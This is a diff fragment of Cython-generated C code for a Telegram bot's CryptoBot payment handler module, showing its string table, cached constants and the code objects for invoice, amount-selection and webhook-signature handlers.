{&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, + {&__pyx_kp_u__31, __pyx_k__31, sizeof(__pyx_k__31), 0, 1, 0, 0}, + {&__pyx_kp_u__32, __pyx_k__32, sizeof(__pyx_k__32), 0, 1, 0, 0}, + {&__pyx_kp_u__33, __pyx_k__33, sizeof(__pyx_k__33), 0, 1, 0, 0}, + {&__pyx_kp_u__34, __pyx_k__34, sizeof(__pyx_k__34), 0, 1, 0, 0}, + {&__pyx_n_s__43, __pyx_k__43, sizeof(__pyx_k__43), 0, 0, 1, 1}, + {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, + {&__pyx_kp_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 0}, + {&__pyx_kp_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 0}, + {&__pyx_n_s_add_connection, __pyx_k_add_connection, sizeof(__pyx_k_add_connection), 0, 0, 1, 1}, + {&__pyx_n_s_add_payment, __pyx_k_add_payment, sizeof(__pyx_k_add_payment), 0, 0, 1, 1}, + {&__pyx_n_s_aiocryptopay, __pyx_k_aiocryptopay, sizeof(__pyx_k_aiocryptopay), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram, __pyx_k_aiogram, sizeof(__pyx_k_aiogram), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_context, __pyx_k_aiogram_fsm_context, sizeof(__pyx_k_aiogram_fsm_context), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_state, __pyx_k_aiogram_fsm_state, sizeof(__pyx_k_aiogram_fsm_state), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_types, __pyx_k_aiogram_types, sizeof(__pyx_k_aiogram_types), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_utils_keyboard, __pyx_k_aiogram_utils_keyboard, sizeof(__pyx_k_aiogram_utils_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_aiohttp, __pyx_k_aiohttp, sizeof(__pyx_k_aiohttp), 0, 0, 1, 1}, + {&__pyx_n_s_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 0, 1, 1}, + {&__pyx_kp_u_amount_2, __pyx_k_amount_2, sizeof(__pyx_k_amount_2), 0, 1, 0, 0}, + {&__pyx_n_s_amount_str, __pyx_k_amount_str, sizeof(__pyx_k_amount_str), 0, 0, 1, 1}, + {&__pyx_n_s_answer, __pyx_k_answer, sizeof(__pyx_k_answer), 0, 0, 1, 1}, + {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, + {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, + {&__pyx_n_s_asset, __pyx_k_asset, sizeof(__pyx_k_asset), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio_coroutines, __pyx_k_asyncio_coroutines, sizeof(__pyx_k_asyncio_coroutines), 0, 0, 1, 1}, + {&__pyx_n_s_await, __pyx_k_await, sizeof(__pyx_k_await), 0, 0, 1, 1}, + {&__pyx_n_s_balance, __pyx_k_balance, sizeof(__pyx_k_balance), 0, 0, 1, 1}, + {&__pyx_n_s_body_text, __pyx_k_body_text, sizeof(__pyx_k_body_text), 0, 0, 1, 1}, + {&__pyx_n_s_bot_invoice_url, __pyx_k_bot_invoice_url, sizeof(__pyx_k_bot_invoice_url), 0, 0, 1, 1}, + {&__pyx_n_u_bot_invoice_url, __pyx_k_bot_invoice_url, sizeof(__pyx_k_bot_invoice_url), 0, 1, 0, 1}, + {&__pyx_n_s_builder, __pyx_k_builder, sizeof(__pyx_k_builder), 0, 0, 1, 1}, + {&__pyx_n_s_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 0, 1, 1}, + {&__pyx_n_u_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 1, 0, 1}, + {&__pyx_n_s_callback_query, __pyx_k_callback_query, sizeof(__pyx_k_callback_query), 0, 0, 1, 1}, + {&__pyx_n_s_chat, __pyx_k_chat, sizeof(__pyx_k_chat), 0, 0, 1, 1}, + {&__pyx_n_s_check_connection_exists, __pyx_k_check_connection_exists, sizeof(__pyx_k_check_connection_exists), 0, 0, 1, 1}, + {&__pyx_n_s_check_hash, __pyx_k_check_hash, sizeof(__pyx_k_check_hash), 0, 0, 1, 1}, + {&__pyx_n_s_check_signature, __pyx_k_check_signature, sizeof(__pyx_k_check_signature), 0, 0, 1, 1}, + {&__pyx_n_s_choosing_amount_crypto, __pyx_k_choosing_amount_crypto, sizeof(__pyx_k_choosing_amount_crypto), 0, 0, 1, 1}, + {&__pyx_n_s_class_getitem, __pyx_k_class_getitem, sizeof(__pyx_k_class_getitem), 0, 0, 1, 1}, + {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, + {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, + {&__pyx_n_s_config, __pyx_k_config, sizeof(__pyx_k_config), 0, 0, 1, 1}, + {&__pyx_n_s_create_invoice, __pyx_k_create_invoice, sizeof(__pyx_k_create_invoice), 0, 0, 1, 1}, + {&__pyx_n_u_crypto, __pyx_k_crypto, sizeof(__pyx_k_crypto), 0, 1, 0, 1}, + {&__pyx_n_s_crypto_2, __pyx_k_crypto_2, sizeof(__pyx_k_crypto_2), 0, 0, 1, 1}, + {&__pyx_kp_u_crypto_amount, __pyx_k_crypto_amount, sizeof(__pyx_k_crypto_amount), 0, 1, 0, 0}, + {&__pyx_n_s_crypto_pay_signature, __pyx_k_crypto_pay_signature, sizeof(__pyx_k_crypto_pay_signature), 0, 0, 1, 1}, + {&__pyx_n_u_cryptobot, __pyx_k_cryptobot, sizeof(__pyx_k_cryptobot), 0, 1, 0, 1}, + {&__pyx_n_s_cryptobot_webhook, __pyx_k_cryptobot_webhook, sizeof(__pyx_k_cryptobot_webhook), 0, 0, 1, 1}, + {&__pyx_n_s_custom_payload, __pyx_k_custom_payload, sizeof(__pyx_k_custom_payload), 0, 0, 1, 1}, + {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, + {&__pyx_n_s_database, __pyx_k_database, sizeof(__pyx_k_database), 0, 0, 1, 1}, + {&__pyx_n_s_debug, __pyx_k_debug, sizeof(__pyx_k_debug), 0, 0, 1, 1}, + {&__pyx_n_s_description, __pyx_k_description, sizeof(__pyx_k_description), 0, 0, 1, 1}, + {&__pyx_n_s_dict, __pyx_k_dict, sizeof(__pyx_k_dict), 0, 0, 1, 1}, + {&__pyx_kp_u_disable, __pyx_k_disable, sizeof(__pyx_k_disable), 0, 1, 0, 0}, + {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, + {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, + {&__pyx_kp_u_enable, __pyx_k_enable, sizeof(__pyx_k_enable), 0, 1, 0, 0}, + {&__pyx_n_u_enter_custom_amount_crypto, __pyx_k_enter_custom_amount_crypto, sizeof(__pyx_k_enter_custom_amount_crypto), 0, 1, 0, 1}, + {&__pyx_n_s_entering_custom_amount_crypto, __pyx_k_entering_custom_amount_crypto, sizeof(__pyx_k_entering_custom_amount_crypto), 0, 0, 1, 1}, + {&__pyx_n_s_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 0, 1, 1}, + {&__pyx_n_s_exists, __pyx_k_exists, sizeof(__pyx_k_exists), 0, 0, 1, 1}, + {&__pyx_n_s_expected_hash, __pyx_k_expected_hash, sizeof(__pyx_k_expected_hash), 0, 0, 1, 1}, + {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, + {&__pyx_n_s_get, __pyx_k_get, sizeof(__pyx_k_get), 0, 0, 1, 1}, + {&__pyx_n_s_get_key_count, __pyx_k_get_key_count, sizeof(__pyx_k_get_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_cryprobot_pay, __pyx_k_handlers_payments_cryprobot_pay, sizeof(__pyx_k_handlers_payments_cryprobot_pay), 0, 0, 1, 1}, + {&__pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_k_handlers_payments_cryprobot_pay_2, sizeof(__pyx_k_handlers_payments_cryprobot_pay_2), 0, 0, 1, 0}, + {&__pyx_n_s_handlers_payments_gift, __pyx_k_handlers_payments_gift, sizeof(__pyx_k_handlers_payments_gift), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_utils, __pyx_k_handlers_payments_utils, sizeof(__pyx_k_handlers_payments_utils), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_texts, __pyx_k_handlers_texts, sizeof(__pyx_k_handlers_texts), 0, 0, 1, 1}, + {&__pyx_kp_u_hash_cryptobot, __pyx_k_hash_cryptobot, sizeof(__pyx_k_hash_cryptobot), 0, 1, 0, 0}, + {&__pyx_n_s_headers, __pyx_k_headers, sizeof(__pyx_k_headers), 0, 0, 1, 1}, + {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1}, + {&__pyx_n_s_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 0, 1, 1}, + {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, + {&__pyx_n_s_info, __pyx_k_info, sizeof(__pyx_k_info), 0, 0, 1, 1}, + {&__pyx_n_s_init_subclass, __pyx_k_init_subclass, sizeof(__pyx_k_init_subclass), 0, 0, 1, 1}, + {&__pyx_n_s_invoice, __pyx_k_invoice, sizeof(__pyx_k_invoice), 0, 0, 1, 1}, + {&__pyx_n_u_invoice_paid, __pyx_k_invoice_paid, sizeof(__pyx_k_invoice_paid), 0, 1, 0, 1}, + {&__pyx_n_s_is_coroutine, __pyx_k_is_coroutine, sizeof(__pyx_k_is_coroutine), 0, 0, 1, 1}, + {&__pyx_n_s_isdigit, __pyx_k_isdigit, sizeof(__pyx_k_isdigit), 0, 0, 1, 1}, + {&__pyx_kp_u_isenabled, __pyx_k_isenabled, sizeof(__pyx_k_isenabled), 0, 1, 0, 0}, + {&__pyx_n_s_json, __pyx_k_json, sizeof(__pyx_k_json), 0, 0, 1, 1}, + {&__pyx_n_s_key_count, __pyx_k_key_count, sizeof(__pyx_k_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_logger, __pyx_k_logger, sizeof(__pyx_k_logger), 0, 0, 1, 1}, + {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, + {&__pyx_n_s_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 0, 1, 1}, + {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, + {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, + {&__pyx_n_s_mro_entries, __pyx_k_mro_entries, sizeof(__pyx_k_mro_entries), 0, 0, 1, 1}, + {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, + {&__pyx_n_s_network, __pyx_k_network, sizeof(__pyx_k_network), 0, 0, 1, 1}, + {&__pyx_n_u_paid, __pyx_k_paid, sizeof(__pyx_k_paid), 0, 1, 0, 1}, + {&__pyx_n_u_pay, __pyx_k_pay, sizeof(__pyx_k_pay), 0, 1, 0, 1}, + {&__pyx_n_u_pay_cryptobot, __pyx_k_pay_cryptobot, sizeof(__pyx_k_pay_cryptobot), 0, 1, 0, 1}, + {&__pyx_n_s_payload, __pyx_k_payload, sizeof(__pyx_k_payload), 0, 0, 1, 1}, + {&__pyx_n_u_payload, __pyx_k_payload, sizeof(__pyx_k_payload), 0, 1, 0, 1}, + {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, + {&__pyx_n_s_process_amount_selection, __pyx_k_process_amount_selection, sizeof(__pyx_k_process_amount_selection), 0, 0, 1, 1}, + {&__pyx_n_s_process_callback_pay_cryptobot, __pyx_k_process_callback_pay_cryptobot, sizeof(__pyx_k_process_callback_pay_cryptobot), 0, 0, 1, 1}, + {&__pyx_n_s_process_crypto_payment, __pyx_k_process_crypto_payment, sizeof(__pyx_k_process_crypto_payment), 0, 0, 1, 1}, + {&__pyx_n_s_process_custom_amount_input, __pyx_k_process_custom_amount_input, sizeof(__pyx_k_process_custom_amount_input), 0, 0, 1, 1}, + {&__pyx_n_s_process_enter_custom_amount, __pyx_k_process_enter_custom_amount, sizeof(__pyx_k_process_enter_custom_amount), 0, 0, 1, 1}, + {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, + {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1}, + {&__pyx_n_s_reply_markup, __pyx_k_reply_markup, sizeof(__pyx_k_reply_markup), 0, 0, 1, 1}, + {&__pyx_n_s_request, __pyx_k_request, sizeof(__pyx_k_request), 0, 0, 1, 1}, + {&__pyx_n_s_router, __pyx_k_router, sizeof(__pyx_k_router), 0, 0, 1, 1}, + {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, + {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, + {&__pyx_n_s_send_payment_success_notificatio, __pyx_k_send_payment_success_notificatio, sizeof(__pyx_k_send_payment_success_notificatio), 0, 0, 1, 1}, + {&__pyx_n_s_session, __pyx_k_session, sizeof(__pyx_k_session), 0, 0, 1, 1}, + {&__pyx_n_s_set_name, __pyx_k_set_name, sizeof(__pyx_k_set_name), 0, 0, 1, 1}, + {&__pyx_n_s_set_state, __pyx_k_set_state, sizeof(__pyx_k_set_state), 0, 0, 1, 1}, + {&__pyx_kp_u_solonet_sup, __pyx_k_solonet_sup, sizeof(__pyx_k_solonet_sup), 0, 1, 0, 0}, + {&__pyx_n_s_split, __pyx_k_split, sizeof(__pyx_k_split), 0, 0, 1, 1}, + {&__pyx_n_s_startswith, __pyx_k_startswith, sizeof(__pyx_k_startswith), 0, 0, 1, 1}, + {&__pyx_n_s_state, __pyx_k_state, sizeof(__pyx_k_state), 0, 0, 1, 1}, + {&__pyx_n_s_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 0, 1, 1}, + {&__pyx_n_u_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 1, 0, 1}, + {&__pyx_n_s_super, __pyx_k_super, sizeof(__pyx_k_super), 0, 0, 1, 1}, + {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, + {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, + {&__pyx_n_u_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 1, 0, 1}, + {&__pyx_n_s_tg_id, __pyx_k_tg_id, sizeof(__pyx_k_tg_id), 0, 0, 1, 1}, + {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, + {&__pyx_n_s_token, __pyx_k_token, sizeof(__pyx_k_token), 0, 0, 1, 1}, + {&__pyx_n_s_trial, __pyx_k_trial, sizeof(__pyx_k_trial), 0, 0, 1, 1}, + {&__pyx_n_s_types, __pyx_k_types, sizeof(__pyx_k_types), 0, 0, 1, 1}, + {&__pyx_kp_s_types_CallbackQuery, __pyx_k_types_CallbackQuery, sizeof(__pyx_k_types_CallbackQuery), 0, 0, 1, 0}, + {&__pyx_kp_s_types_Message, __pyx_k_types_Message, sizeof(__pyx_k_types_Message), 0, 0, 1, 0}, + {&__pyx_n_s_typing, __pyx_k_typing, sizeof(__pyx_k_typing), 0, 0, 1, 1}, + {&__pyx_n_s_update_balance, __pyx_k_update_balance, sizeof(__pyx_k_update_balance), 0, 0, 1, 1}, + {&__pyx_n_s_update_data, __pyx_k_update_data, sizeof(__pyx_k_update_data), 0, 0, 1, 1}, + {&__pyx_n_u_update_type, __pyx_k_update_type, sizeof(__pyx_k_update_type), 0, 1, 0, 1}, + {&__pyx_n_s_url, __pyx_k_url, sizeof(__pyx_k_url), 0, 0, 1, 1}, + {&__pyx_n_s_user_id, __pyx_k_user_id, sizeof(__pyx_k_user_id), 0, 0, 1, 1}, + {&__pyx_kp_u_user_id_amount, __pyx_k_user_id_amount, sizeof(__pyx_k_user_id_amount), 0, 1, 0, 0}, + {&__pyx_n_s_user_id_str, __pyx_k_user_id_str, sizeof(__pyx_k_user_id_str), 0, 0, 1, 1}, + {&__pyx_n_s_waiting_for_payment_confirmation, __pyx_k_waiting_for_payment_confirmation, sizeof(__pyx_k_waiting_for_payment_confirmation), 0, 0, 1, 1}, + {&__pyx_n_s_warning, __pyx_k_warning, sizeof(__pyx_k_warning), 0, 0, 1, 1}, + {&__pyx_n_s_web, __pyx_k_web, sizeof(__pyx_k_web), 0, 0, 1, 1}, + {0, 0, 0, 0, 0, 0, 0} + }; + return __Pyx_InitStrings(__pyx_string_tab); +} +/* #### Code section: cached_builtins ### */ +static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { + __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 53, __pyx_L1_error) + __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 103, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: cached_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); + + /* "handlers/payments/cryprobot_pay.py":83 + * session=session, + * ) + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * " :", + * reply_markup=builder.as_markup(), + */ + __pyx_tuple__4 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__4)) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__4); + __Pyx_GIVEREF(__pyx_tuple__4); + + /* "handlers/payments/cryprobot_pay.py":94 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * + * if len(data) != 2: + */ + __pyx_tuple__7 = PyTuple_Pack(2, __pyx_kp_u__6, __pyx_int_1); if (unlikely(!__pyx_tuple__7)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__7); + __Pyx_GIVEREF(__pyx_tuple__7); + + /* "handlers/payments/cryprobot_pay.py":159 + * async def check_hash(request): + * body_text = await request.text() + * crypto_pay_signature = request.headers.get( # <<<<<<<<<<<<<< + * "Crypto-Pay-Api-Signature", "No value" + * ) + */ + __pyx_tuple__23 = PyTuple_Pack(2, __pyx_kp_u_Crypto_Pay_Api_Signature, __pyx_kp_u_No_value); if (unlikely(!__pyx_tuple__23)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__23); + __Pyx_GIVEREF(__pyx_tuple__23); + + /* "handlers/payments/cryprobot_pay.py":191 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_cryptobot")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_tuple__29 = PyTuple_Pack(1, __pyx_kp_u__28); if (unlikely(!__pyx_tuple__29)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__29); + __Pyx_GIVEREF(__pyx_tuple__29); + + /* "handlers/payments/cryprobot_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_cryptobot") # <<<<<<<<<<<<<< + * async def process_callback_pay_cryptobot( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __pyx_tuple__35 = PyTuple_Pack(8, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__35); + __Pyx_GIVEREF(__pyx_tuple__35); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 8, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__35, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_callback_pay_cryptobot, 38, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 38, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":90 + * + * + * @router.callback_query(F.data.startswith("crypto_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__36 = PyTuple_Pack(1, __pyx_kp_u_crypto_amount); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__36); + __Pyx_GIVEREF(__pyx_tuple__36); + __pyx_tuple__37 = PyTuple_Pack(8, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_invoice, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__37)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__37); + __Pyx_GIVEREF(__pyx_tuple__37); + __pyx_codeobj__5 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 8, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__37, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_amount_selection, 90, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__5)) __PYX_ERR(0, 90, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":134 + * + * + * async def cryptobot_webhook(request): # <<<<<<<<<<<<<< + * try: + * if not check_hash(request): + */ + __pyx_tuple__38 = PyTuple_Pack(3, __pyx_n_s_request, __pyx_n_s_data, __pyx_n_s_e); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 134, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__38); + __Pyx_GIVEREF(__pyx_tuple__38); + __pyx_codeobj__18 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__38, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_cryptobot_webhook, 134, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__18)) __PYX_ERR(0, 134, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":157 + * + * + * async def check_hash(request): # <<<<<<<<<<<<<< + * body_text = await request.text() + * crypto_pay_signature = request.headers.get( + */ + __pyx_tuple__39 = PyTuple_Pack(3, __pyx_n_s_request, __pyx_n_s_body_text, __pyx_n_s_crypto_pay_signature); if (unlikely(!__pyx_tuple__39)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__39); + __Pyx_GIVEREF(__pyx_tuple__39); + __pyx_codeobj__22 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__39, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_check_hash, 157, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__22)) __PYX_ERR(0, 157, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":167 + * + * + * async def process_crypto_payment(payload): # <<<<<<<<<<<<<< + * if payload["status"] == "paid": + * custom_payload = payload["payload"] + */ + __pyx_tuple__40 = PyTuple_Pack(7, __pyx_n_s_payload, __pyx_n_s_custom_payload, __pyx_n_s_user_id_str, __pyx_n_s_amount_str, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__40)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__40); + __Pyx_GIVEREF(__pyx_tuple__40); + __pyx_codeobj__24 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__40, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_crypto_payment, 167, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__24)) __PYX_ERR(0, 167, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":184 + * + * + * @router.callback_query(F.data == "enter_custom_amount_crypto") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__41 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__41)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__41); + __Pyx_GIVEREF(__pyx_tuple__41); + __pyx_codeobj__26 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__41, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_enter_custom_amount, 184, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__26)) __PYX_ERR(0, 184, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":199 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __pyx_tuple__42 = PyTuple_Pack(6, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_invoice, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__42)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__42); + __Pyx_GIVEREF(__pyx_tuple__42); + __pyx_codeobj__30 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 6, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__42, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_custom_amount_input, 199, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__30)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} +/* #### Code section: init_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitConstants(void) { + if (__Pyx_CreateStringTabAndInitStrings() < 0) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_float_0_0 = PyFloat_FromDouble(0.0); if (unlikely(!__pyx_float_0_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_200 = PyInt_FromLong(200); if (unlikely(!__pyx_int_200)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_400 = PyInt_FromLong(400); if (unlikely(!__pyx_int_400)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_500 = PyInt_FromLong(500); if (unlikely(!__pyx_int_500)) __PYX_ERR(0, 1, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: init_globals ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) { + return 0; +} +/* #### Code section: init_module ### */ + +static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/ + +static int __Pyx_modinit_global_init_code(void) { + 